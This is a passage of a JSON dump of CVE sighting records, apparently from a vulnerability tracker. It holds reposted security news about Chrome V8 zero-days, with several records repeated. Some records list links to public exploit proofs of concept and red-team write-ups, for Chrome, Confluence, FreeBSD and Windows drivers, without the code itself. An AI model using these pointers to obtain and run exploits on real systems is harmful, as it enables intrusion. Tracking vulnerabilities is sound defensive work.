CVE-2021-30554\u00a0\u2013 (June)\n* CVE-2021-30563\u00a0\u2013 (July)\n\n\u201cGoogle\u2019s commitment to patching these exploits quickly is commendable, as they operate Google Chrome as freeware and therefore are the sole entity who can provide these updates,\u201d Dunne wrote. \u201cGoogle is committed to providing Chrome as a free browser, as it is a critical entry point for other businesses such as Google Search and Google Workspace.\u201d\n\nThe news comes as Apple rushed a fix\u00a0for a zero-click zero-day exploit targeting iMessaging. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to researchers.\nMicrosoft is also expected to release its monthly Patch Tuesday set of updates today, so we\u2019ll see if there are yet more zero-day exploits to worry about.\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/banner-2021.3-release-90x90.jpg Kali Linux 2021.3 released: Kali NetHunter on a smartwatch, wider OpenSSL compatibility, new tools1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-exploit-90x90.jpg Microsoft Patches Actively Exploited Windows Zero-Day Bug2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Apple-marketing-communications-mix-90x90.jpg Apple Issues Emergency Fix for NSO Zero-Click Zero Day3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/zeroday-90x90.png Windows MSHTML zero-day exploits shared on hacking forums4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Jenkins-90x90.jpg Jenkins project\u2019s Confluence server hacked to mine Monero1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution2 weeks ago\nThe post Pair of Google Chrome Zero-Day Bugs Actively Exploited first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-01T20:02:23.264668Z"}, {"uuid": "57024f41-708c-470a-aef8-595509912471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/reverseame/1945", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-07-29T12:02:49.632539Z"}, {"uuid": "d20a320c-86e3-4ab3-9584-4d41984cf222", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/reverseame/1930", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-07-29T12:02:49.683230Z"}, {"uuid": "b8e4b76d-5844-4983-9ff8-bed0b2c11afb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/reverseame/1489", "content": "A Bug's Life: CVE-2021-21225 https://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2026-07-29T12:02:54.749731Z"}, {"uuid": "d7c5f8d2-a5bb-4c43-a433-12a914a611a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/reverseame/1490", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-07-29T12:02:54.802566Z"}, {"uuid": "cc423c2b-84c3-413a-ba93-9df8f6cc0c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/reverseame/1514", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-07-29T12:02:54.524290Z"}, {"uuid": "e18e68de-c68f-4c52-816a-2cbcc8d642ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/reverseame/1490", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-07-30T00:02:45.107270Z"}, {"uuid": "5b146476-3ff2-4f98-899d-837ccab71e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/reverseame/1945", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-07-30T00:02:40.474403Z"}, {"uuid": "8e7d7c46-dcf8-47d0-86d0-a6429126ba31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/reverseame/1930", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-07-30T00:02:40.515671Z"}, {"uuid": "ca9a3fa1-3a96-4503-ba4f-686b915e5df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/reverseame/1514", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-07-30T00:02:44.836617Z"}, {"uuid": "63aefebb-0be3-43c0-a69f-97b124a3c913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/reverseame/1489", "content": "A Bug's Life: CVE-2021-21225 https://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2026-07-30T00:02:45.068326Z"}, {"uuid": "ee7c82f7-466a-4489-8384-8a0fcdeccc6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/cissp/2967", "content": "exploit\nCVE-2020-7461:\n1-day PoC for DHCP heap overflow vulnerability (NAME:WRECK) in FreeBSD\nhttps://github.com/knqyf263/CVE-2020-7461\n\nExploiting System Mechanic Driver:\nAbusing Token Privileges for LPE\nhttps://voidsec.com/exploiting-system-mechanic-driver\n]-> PoC:\nhttps://github.com/VoidSec/Exploit-Development/blob/master/windows/x64/kernel/iolo_System_Mechanic_Pro_v.15.5.0.61/iolo_System_Mechanic_Pro_v.15.5.0.61.cpp\n\nRed Team Tactics:\n1. JavaScript prototype pollution: practice of finding and exploitation\nhttps://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2\n2. UUID Shellcode Execution Implementation in C# and DInvoke\nhttps://blog.sunggwanchoi.com/eng-uuid-shellcode-execution\n\n1-click RCE in Telegram, Nextcloud, VLC, Libre/OpenOffice, Bitcoin/Dogecoin Wallets, Wireshark, Mumble, WinSCP (PoCs)\nhttps://positive.security/blog/url-open-rce\n\nThreat Research:\nChrome RCE Vulnerability\n(PoC for CVE-2021-21220)\nhttps://paper.seebug.org/1556\n+ Chrome V8 JavaScript Engine RCE:\nhttps://packetstormsecurity.com/files/162154/chromiumv8-overflow.txt", "creation_timestamp": "2026-09-01T17:00:54.344728Z"}, {"uuid": "b8adb497-8206-49ea-b085-a37c94e785ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/cissp/4242", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2026-09-01T17:00:41.781612Z"}, {"uuid": "72d3f2fe-dfd1-44f7-966f-84c7d0adc6b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/cissp/4033", "content": "Red Team Tactics \nThe Complete Guide to Prototype Pollution Vulnerabilities\nhttps://www.whitesourcesoftware.com/resources/blog/prototype-pollution-vulnerabilities\n\nWLAN Security\nMultiple Issues in Realtek SDK Affects Hundreds of Thousands of Devices Down the Supply Chain (CVE-2021-35392, CVE-2021-35393,\nCVE-2021-35394, CVE-2021-35395)\nhttps://www.iot-inspector.com/blog/advisory-multiple-issues-realtek-sdk-iot-supply-chain\n\nexploit\nCVE-2021-21225:\nA vulnerability in V8's\u00a0Array.prototype.concat\u00a0implementation\nhttps://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2026-09-01T17:00:42.633399Z"}, {"uuid": "2ae7b575-acbd-4960-9a50-980c0a2bed00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/48245", "content": "Black Hat Ethical Hacking\nGoogle Chrome Bug Actively Exploited as Zero-Day\n\nGoogle Chrome Bug Actively Exploited as Zero-DayPost Views: 32 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nGoogle issued an update for the bug, which is found in the open-source V8 JavaScript engine.\nGoogle has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n* CVE-2021-21148\u00a0\u2013 Feb. 4, an unnamed type of bug in V8\n* CVE-2021-21224\u00a0\u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:49.337258Z"}, {"uuid": "b5a7c5b1-e0f0-4b7e-bc2c-9d21fcb24632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/23972", "content": "ock, pointed out that Google has patched plenty of zero-days already this year \u2013 eight prior to the latest two, to be exact \u2013 and he said to expect more.\nSee Also: Offensive Security Tool: Jenkins Attack Framework 10th Zero-Day in 2021 for Google\u201cToday, Google released a patch for its tenth [and ninth] zero-day exploit of the year,\u201d Dunne said in an email to media. \u201cThis milestone highlights the emphasis that bad actors are putting on browser exploits, with Chrome becoming a clear favorite, allowing a streamlined way to gain access to millions of devices regardless of OS.\n\n\u201cWe expect to see continued zero-day exploits in the wild,\u201d he added.\n\nThe other zero days discovered so far in 2021 are as follows, many of them in the V8 engine:\n\n* CVE-2021-21148\u00a0\u2013 (February)\n* CVE-2021-21166\u00a0\u2013 (March)\n* CVE-2021-21193\u00a0\u2013 (March)\n* CVE-2021-21220\u00a0\u2013 (April)\n* CVE-2021-21224\u00a0\u2013 (April, later used in Windows attacks)\n* CVE-2021-30551\u00a0\u2013 (June)\n* CVE-2021-30554\u00a0\u2013 (June)\n* CVE-2021-30563\u00a0\u2013 (July)\n\n\u201cGoogle\u2019s commitment to patching these exploits quickly is commendable, as they operate Google Chrome as freeware and therefore are the sole entity who can provide these updates,\u201d Dunne wrote. \u201cGoogle is committed to providing Chrome as a free browser, as it is a critical entry point for other businesses such as Google Search and Google Workspace.\u201d\n\nThe news comes as Apple rushed a fix\u00a0for a zero-click zero-day exploit targeting iMessaging. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to researchers.\nMicrosoft is also expected to release its monthly Patch Tuesday set of updates today, so we\u2019ll see if there are yet more zero-day exploits to worry about.\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/banner-2021.3-release-90x90.jpg Kali Linux 2021.3 released: Kali NetHunter on a smartwatch, wider OpenSSL compatibility, new tools1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-exploit-90x90.jpg Microsoft Patches Actively Exploited Windows Zero-Day Bug2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Apple-marketing-communications-mix-90x90.jpg Apple Issues Emergency Fix for NSO Zero-Click Zero Day3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/zeroday-90x90.png Windows MSHTML zero-day exploits shared on hacking forums4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Jenkins-90x90.jpg Jenkins project\u2019s Confluence server hacked to mine Monero1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution2 weeks ago\nThe post Pair of Google Chrome Zero-Day Bugs Actively Exploited first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-01T20:02:23.353965Z"}, {"uuid": "6d6cd87f-ca74-4584-b807-26a3650f0be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.215048Z"}, {"uuid": "fd082ef8-c9e0-4403-ae82-53df4b61b76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.303616Z"}, {"uuid": "80bb5d22-58f0-4b2d-a981-2a2deb0759f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/18949", "content": "Black Hat Ethical Hacking\nBugs in Chrome\u2019s JavaScript engine can lead to powerful exploits. This project aims to stop them\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bugs in Chrome\u2019s JavaScript engine can lead to powerful exploits. This project aims to stop themPost Views: 45 \nReading Time: 1 Minute\nA new project hopes to beef up the security of V8, a part of the Chrome browser that most users aren\u2019t aware of but that hackers increasingly see as a juicy target.\nJavaScript makes the web go around and Google has had to patch multiple\u00a0zero-day or previously unknown flaws\u00a0in Chrome\u2019s V8 JavaScript engine this year. In April, Google admitted a high severity bug in V8 tracked as CVE-2021-21224\u00a0was being exploited in the wild. \n\nChrome has over two billion users, so when zero-day exploits strike Chrome, it\u2019s a big deal. V8, an open source Google project, is a powerful JavaScript engine for Chrome that\u2019s helped advance the web and web applications. V8 also powers the server-side runtime Node.js. \n\nNow Samuel Gro\u00df, a member of the Google Project Zero security researchers team, has detailed a V8 sandbox proposal\u00a0to help protect its memory from nastier bugs in the engine using virtual machine and sandboxing technologies. \n\n\u201cV8 bugs typically allow for the construction of unusually powerful exploits. Furthermore, these bugs are unlikely to be mitigated by memory safe languages or upcoming hardware-assisted security features such as MTE or CFI,\u201d explains Gro\u00df, referring to security technologies like Microsoft\u2019s Control-flow integrity (CFI) and Intel\u2019s control-flow enforcement technologies (CET). \n\n\u201d As a result, V8 is especially attractive for real-world attackers.\u201d\nSee Also: Hackers used never-before-seen wiper in recent attack on Iranian train system Gro\u00df\u2019s comments suggest that even adopting a memory-safe language like Rust\u00a0\u2014 which Google has adopted for new Android code\u00a0\u2014 wouldn\u2019t immediately solve the security problems faced by V8, which is written in C++. \nHe also outlines the broad design objectives but, signaling the size of the project, stresses that this sandbox project is in its infancy\u00a0and that there are some big hurdles to overcome. But V8 is a Google-led open source project and given that V8 has been the source of security vulnerabilities in Chrome, there is a chance that member of GPZ\u2019s proposal could make it across the line.\n\nThe issues affect how browser software interacts with hardware beyond the operating system and aims to prevent future flaws in V8 from corrupting a computer\u2019s memory outside of the V8 heap. This would allow an attacker to execute malicious code. \nSee Also: Offensive Security Tool: Ruler One consideration for the additional security protections for V8 is the impact on hardware performance. Gro\u00df estimates his proposal would cause an overhead of about \u201c1% overall on real-world workloads\u201d. \n\nGro\u00df explains the problem with V8 that stems from JIT compilers that can be used trick a machine into emitting machine code that corrupts memory at runtime. \n\n\u201cMany V8 vulnerabilities exploited by real-world attackers are effectively 2nd order vulnerabilities: the root-cause is often a logic issue in one of the JIT compilers, which can then be exploited to generate vulnerable machine code (e.g. code that is missing a runtime safety check). The generated code can then in turn be exploited to cause memory corruption at runtime.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker He also highlights the shortcomings of the latest security technologies, including hardware-based mitigations, that will make [...]", "creation_timestamp": "2026-09-01T20:02:29.918654Z"}, {"uuid": "788499ca-c646-4e1d-a0b6-19188143f2db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/12055", "content": "nt. CVSS 8.4\n* CVE-2021-33742\u00a0\u2013 Windows MSHTML Platform Remote Code Execution Vulnerability. Rating: Critical. CVSS 7.5\n* CVE-2021-31199\u00a0\u2013 Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability. Rating: Important. CVSS 5.2\n* CVE-2021-31201\u00a0\u2013 Microsoft Enhanced Cryptographic Provider 